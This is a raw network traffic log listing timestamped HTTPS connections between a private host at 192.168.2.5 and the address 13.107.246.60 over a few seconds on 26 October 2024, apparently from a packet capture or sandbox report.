Oct 26, 2024 13:49:39.581093073 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.581108093 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.581114054 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.584831953 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.584892035 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.585203886 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.585474014 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.585490942 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.996663094 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.997188091 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.997201920 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.997678995 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.997687101 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.001535892 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.001997948 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.002024889 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.002547026 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.002553940 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.078018904 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.078665972 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.078685999 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.079185963 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.079194069 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.106334925 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.106875896 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.106942892 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.107422113 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.107455969 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.131921053 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.131994009 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.132097006 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.132110119 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.132163048 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.132353067 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.132368088 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.132379055 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.132384062 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.135427952 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.135457039 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.135514021 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.135700941 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.135710001 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.182254076 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.182451963 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.182509899 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.182652950 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.182672024 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.182682991 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.182688951 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.186105967 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.186120033 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.186220884 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.186413050 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.186425924 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.211102009 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.211167097 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.211276054 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.211477041 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.211477041 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.211507082 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.211528063 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.214705944 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.214750051 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.214823008 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.214994907 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.215022087 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.238581896 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.238658905 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.238725901 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.238749981 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.238802910 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.238847017 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.238945007 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.238945007 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.238956928 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.238964081 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.242003918 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.242049932 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.242330074 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.242490053 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.242506027 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.305264950 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.305799961 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.305835009 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.306320906 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.306330919 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.436279058 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.436458111 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.436908960 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.436908960 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.436947107 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.436969042 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.442965031 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.443064928 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.443176031 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.443510056 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.443557978 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.866560936 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.867139101 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.867198944 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.867628098 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.867641926 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.939759970 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.941050053 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.941075087 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.941529036 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.941540956 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.960088968 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.960740089 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.960768938 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.961568117 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.961580038 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.982464075 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.986263037 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.986282110 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.986833096 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.986841917 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.994151115 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.994180918 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.994245052 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.994263887 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.994301081 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.994601011 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.994613886 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.998106956 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.998150110 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:40.998220921 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.998409986 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:40.998423100 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.074604988 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.074634075 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.074685097 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.074692011 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.074733973 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.075119972 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.075136900 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.075153112 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.075160980 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.079169035 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.079191923 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.079335928 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.079652071 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.079662085 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.091573954 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.091785908 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.091840029 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.091856956 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.091897011 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.091948986 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.091974020 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.091989040 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.091995955 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.095318079 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.095371008 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.095463991 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.095637083 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.095652103 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.113217115 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.113372087 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.113610029 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.113766909 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.113790035 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.113806963 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.113814116 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.117117882 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.117161036 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.117268085 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.117525101 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.117537975 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.199398041 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.199954987 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.200028896 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.200510979 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.200525045 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.333621025 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.333656073 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.333713055 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.333717108 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.333770037 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.334078074 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.334110975 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.334130049 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.334137917 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.340771914 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.340836048 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.340900898 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.341070890 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.341082096 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.731154919 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.731683969 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.731712103 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.732141018 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.732146025 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.800084114 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.800596952 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.800606966 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.801091909 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.801095963 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.829412937 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.829942942 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.829957008 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.830488920 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.830497980 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.860992908 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.861430883 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.861527920 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.861543894 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.861604929 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.861669064 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.862024069 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.862030983 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.862093925 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.862112999 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.862123966 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.862129927 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.864983082 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.865010977 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.865175009 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.865231037 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.865237951 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.932106972 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.932136059 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.932180882 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.932188988 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.932250977 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.932487011 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.932507992 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.932532072 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.932538033 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.935522079 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.935545921 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.935616016 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.935801029 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.935823917 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.961128950 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.961209059 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.961266994 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.961498022 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.961513042 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.961530924 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.961538076 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.964616060 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.964646101 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.964893103 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.965090990 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.965101957 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.993238926 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.993326902 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.993417978 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.993452072 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.993524075 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.993678093 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.993690014 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.993714094 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.993719101 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.996892929 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.996959925 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:41.997215986 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.997375965 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:41.997396946 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.091583014 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.092230082 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.092256069 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.092772961 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.092777967 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.225986958 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.226057053 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.226114988 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.226727962 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.226749897 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.226763964 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.226769924 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.231044054 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.231106997 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.231180906 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.231574059 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.231590033 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.619452953 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.620090008 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.620116949 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.620886087 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.620891094 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.655119896 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.655838013 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.655858040 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.659668922 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.659682035 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.696803093 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.697586060 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.697612047 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.698302031 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.698307991 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.732048988 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.732907057 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.732933044 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.734361887 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.734369040 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.752671003 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.752706051 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.752760887 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.752762079 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.752804995 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.753423929 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.753442049 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.753452063 CEST	49985	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.753458023 CEST	443	49985	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.757801056 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.757857084 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.757978916 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.758368015 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.758378029 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.829859972 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.829941034 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.830039024 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.830305099 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.830327988 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.830343962 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.830349922 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.837573051 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.837606907 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.837825060 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.838180065 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.838191986 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.863785982 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.863838911 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.863908052 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.863982916 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.864864111 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.864877939 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.864893913 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.864901066 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.871896982 CEST	49992	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.871927023 CEST	443	49992	13.107.246.60	192.168.2.5
